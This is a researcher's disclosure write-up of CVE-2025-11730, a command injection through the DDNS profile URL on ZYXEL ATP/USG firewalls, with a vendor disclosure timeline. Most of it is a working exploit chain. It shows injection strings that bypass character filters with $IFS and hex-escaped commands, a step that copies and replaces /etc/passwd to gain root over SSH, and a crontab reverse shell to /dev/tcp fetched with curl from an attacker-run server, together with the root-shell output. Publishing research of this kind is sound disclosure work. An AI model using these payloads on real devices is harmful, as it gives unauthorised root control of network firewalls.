CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)

Most of the time, the solution is obvious once you stop overthinking.
-Anonymous
ZYXEL Remote Code Execution via DDNS profile configuration
Introduction
During my routine research on ZYXEL devices I revisited an analysis I had put aside: the Dynamic DNS Feature. This section manages the firewall's dynamic DNS service, used when the public IP is dynamic and must be updated each time it changes.
In this article I show how, by configuring a DDNS Profile with a crafted URL, it is possible to obtain a root shell. \o/
CLI Overview
In the DDNS profile configuration you can specify which URL the device will query to determine its public IP. This is done by setting the public-ip-url parameter to a string that must begin with http:// or https://.
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router> # Hello ZySH! Router> configure terminal Router(config)# ip ddns profile Primario Router(config-ip-ddns)# public-ip-url <tab> <URL> Router(config-ip-ddns)# public-ip-url http://test.dev Router(config-ip-ddns)# exit Router(config)# ip ddns update Primario Router(config)#
Let's see under the hood, what's going on.
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router# debug system ps | match "test.dev" 2136 2135 curl root ? 0 19 0.0 0.1 SN 8180 2716 484 2045 02:49:52 00:00 00:00:00 curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev 2135 24891 sh root ? 0 19 0.0 0.0 SN 3552 1440 276 888 02:49:52 00:00 00:00:00 sh -c curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev > /tmp/ddns_Primario_publicip
The device then executes a curl to the specified URL and writes the response to /tmp/ddns_$PROFILENAME_publicip.
Restrictions Analysis
I tried a series of classic injections, but I got nothing.
The public-ip-url parameter doesn't accept characters like {}, ,, <space>, #, ", '.
It wasn't even possible to use curly braces to nest commands and their arguments, as in CVE-2025-8078.
Since the restricted characters are very few, and the most important ones are allowed like $, ;, \, I decided to use shell variables to encode the spaces I needed.
The restriction depends on the zysh binary, which then passes the call to ddns_had, (the zyxel's daemon which run the update every N seconds.) which executes the injection without issues.
Some unsuccessful injections
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router(config-ip-ddns)# public-ip-url http://;ping 1.1.1.1; % (after 'http://;ping'): Parse error retval = -1 ERROR: Parse error/command not found! Router(config-ip-ddns)#
Example with Brackets
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router(config-ip-ddns)# public-ip-url http://;{ping,1.1.1.1}; % (after 'http://;'): Parse error retval = -1 ERROR: Parse error/command not found! Router(config-ip-ddns)#
Examples with $IFS
Turns out it actually worked-who knew? I just assumed I needed braces to make it work. It was 4 a.m., cut me some slack
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router(config-ip-ddns)# public-ip-url http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router> debug system ps | match "curl" 19304 19302 curl root ? 19 0 0.0 0.1 S 8180 2716 484 2045 03:19:02 00:00 00:00:00 curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c;cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf 19302 3098 sh root ? 19 0 0.0 0.0 S 3556 1460 280 889 03:19:02 00:00 00:00:00 sh -c curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf > /tmp/ddns_aaa_publicip

ddhs_had: Crash!
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)// /usr/sbin/ddns_had [..SNIP..] int FUN_1000a218(int param_1,longlong param_2) { FILE *__stream; longlong lVar1; int iVar2; int iVar3; char local_250 [256]; char local_150 [256]; char acStack_50 [16]; undefined8 local_40; undefined8 local_38; local_150[0] = '\0'; local_150[1] = '\0'; iVar3 = param_1 + 0x640; memset(local_150 + 2,0,0xfe); local_250[0] = '\0'; local_250[1] = '\0'; memset(local_250 + 2,0,0xfe); if (param_2 == 0) { snprintf(local_250,0x100, "curl --connect-timeout 5 --interface %s --cacert /share/cacert.pem %s > /tmp/ddns_%s_p ublicip" ,param_1 + 0x20,iVar3,param_1); } else { snprintf(local_250,0x100, "curl --connect-timeout 5 --interface %s --cacert /share/cacert.pem %s > /tmp/ddns_%s_publicip" ,param_1 + 0xa0,iVar3,param_1); } system(local_250); [..SNIP..]
In the pseudo-C code, the command is built with:
local_250fixed buffer of 256 bytes.snprintfwrites at most 256 bytes including the null terminator.
If the combined length of interface, host, and id plus the rest of the string exceeds 255 characters:
snprintf will truncate the string to fit the buffer.
This means the end of the command may be cut off.
Example: if the host is very long, the > /tmp/ddns_%s_publicip part might get truncated or partially included.
This causes the ddns_had daemon to crash because it cannot find the file in /tmp/, making the DDNS service unusable and requiring a physical reboot of the device.


Escape!
Before I realized with a clear mind that $IFS works, I played around with the character escaping :)
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ escaped=$(echo -n "a b c" | xxd -p | sed 's/\(..\)/\\x\1/g') rainpwn@0xfw01:~$ echo $escaped \x61\x20\x62\x20\x63 rainpwn@0xfw01:~$
Let's analyze the command:
echo -n "a b c"
- Prints the string
a b c - The
-noption prevents a new line at the end.
| xxd -p
- Takes the string and converts it to pure hexadecimal (hex).
a=61,space=20,b=62, andc=63
| sed 's/\(..\)/\\x\1/g'
sedsplits the hexadecimal into pairs of two(..)characters (i.e., one byte).- Precede each character with
\x. - So
61becomes\x61,20becomes\x20, and so on.
escaped=$(..SNIP..)
- All of this is put into the variable I called
escaped. - Finally
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)echo $escaped
show
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)\x61\x20\x62\x20\x63
This is a great way to bypass some restrictions.
Based on this, to test the escaping functionality, I tried copying the /etc/passwd file to the device's configuration folder.
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ echo $(echo -n "cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf" | xxd -p | sed 's/\(..\)/\\x\1/g') \x63\x70\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66 rainpwn@0xfw01:~$
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router(config-ip-ddns)# public-ip-url http://127.0.0.1/;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66'&&$CMD Router(config-ip-ddns)#
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router> dir /conf/passwd.conf File Name Size Modified Time =============================================================================== passwd.conf 2173 2025-09-22 03:31:04 Router>
And it worked!
Copy tampered passwd and ssh-in
Using FTP, I uploaded the altered passwd file, changing my user shell from /bin/zysh to /bin/bash
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router(config-ip-ddns)# public-ip-url http://;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'&&$CMD
Next, when we log in, we have our root shell
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ ssh 10.168.254.1 -l rainpwn Password: root@ATP100-TS:/# id; cat /rw/fwversion uid=0(root) gid=0(root) groups=0(root) KERNEL_VERSION=3.10.87 FIRMWARE_VER=5.40(ABPS.0) CAPWAP_VER=1.00.04 MODEL_ID=ATP100 COMPATIBLE_PRODUCT_MODEL_0=E153 COMPATIBLE_PRODUCT_MODEL_1=E17F COMPATIBLE_PRODUCT_MODEL_2=FFFF COMPATIBLE_PRODUCT_MODEL_3=FFFF COMPATIBLE_PRODUCT_MODEL_4=FFFF KERNEL_BUILD_DATE=2025-05-07 05:01:23 BUILD_DATE=2025-05-07 05:42:54 FSH_VER=1.0.0 root@ATP100-TS:/# born to be root! \o/
Direct Reverse Shell
To perform a direct reverse shell, you can set up a web server, create an index.html file (to save characters in the injection), and output it to /etc/crontab. From there, wait for the reverse shell with netcat.
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ cat index.html * * * * * root /bin/bash -l > /dev/tcp/10.168.254.14/1337 0<&1 2>&1 rainpwn@0xfw01:~$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ echo $(echo -n "curl http://10.168.254.14 -o /etc/crontab" | xxd -p | sed 's/\(..\)/\\x\1/g') \x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x30\x2e\x31\x36\x38\x2e\x32\x35\x34\x2e\x31\x34\x20\x2d\x6f\x20\x2f\x65\x74\x63\x2f\x63\x72\x6f\x6e\x74\x61\x62
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)Router(config-ip-ddns)# public-ip-url http://;CMD=$'\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x30\x2e\x31\x36\x38\x2e\x32\x35\x34\x2e\x31\x34\x20\x2d\x6f\x20\x2f\x65\x74\x63\x2f\x63\x72\x6f\x6e\x74\x61\x62'&&$CMD Router(config-ip-ddns)#
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.168.254.1 - - [23/Sep/2025 03:59:43] "GET / HTTP/1.1" 200 - 10.168.254.1 - - [23/Sep/2025 03:59:53] "GET / HTTP/1.1" 200 -
CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)rainpwn@0xfw01:~$ nc -lvnp 1337 Listening on 0.0.0.0 1337 Connection received on 10.168.254.1 53679 id uid=0(root) gid=0(root) groups=0(root) uname -a Linux ATP100-TS 3.10.87-rt80-Cavium-Octeon #2 SMP Wed May 7 05:01:09 CST 2025 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux cat /rw/fwversion KERNEL_VERSION=3.10.87 FIRMWARE_VER=5.40(ABPS.0) CAPWAP_VER=1.00.04 MODEL_ID=ATP100 COMPATIBLE_PRODUCT_MODEL_0=E153 COMPATIBLE_PRODUCT_MODEL_1=E17F COMPATIBLE_PRODUCT_MODEL_2=FFFF COMPATIBLE_PRODUCT_MODEL_3=FFFF COMPATIBLE_PRODUCT_MODEL_4=FFFF KERNEL_BUILD_DATE=2025-05-07 05:01:23 BUILD_DATE=2025-05-07 05:42:54 FSH_VER=1.0.0
Disclosure Timeline
- 2025-09-10: ZYXEL was notified via <security@zyxel.com.tw>.
- 2025-09-10: ZYXEL acknowledged receipt of my vulnerability report.
- 2025-10-16: ZYXEL assigned CVE-2025-11730 to the reported issues and informed me of their intention to publish their security advisory on 2026-01-13.
- 2025-10-31: ZYXEL requested to postpone the public disclosure date to February 5, 2026, as the firmware patch is scheduled for release on February 4, 2026, allowing users adequate time to apply the update and secure their systems before the vulnerability is disclosed.
- 2026-02-05: ZYXEL published their security advisory, following our coordinated disclosure timeline.
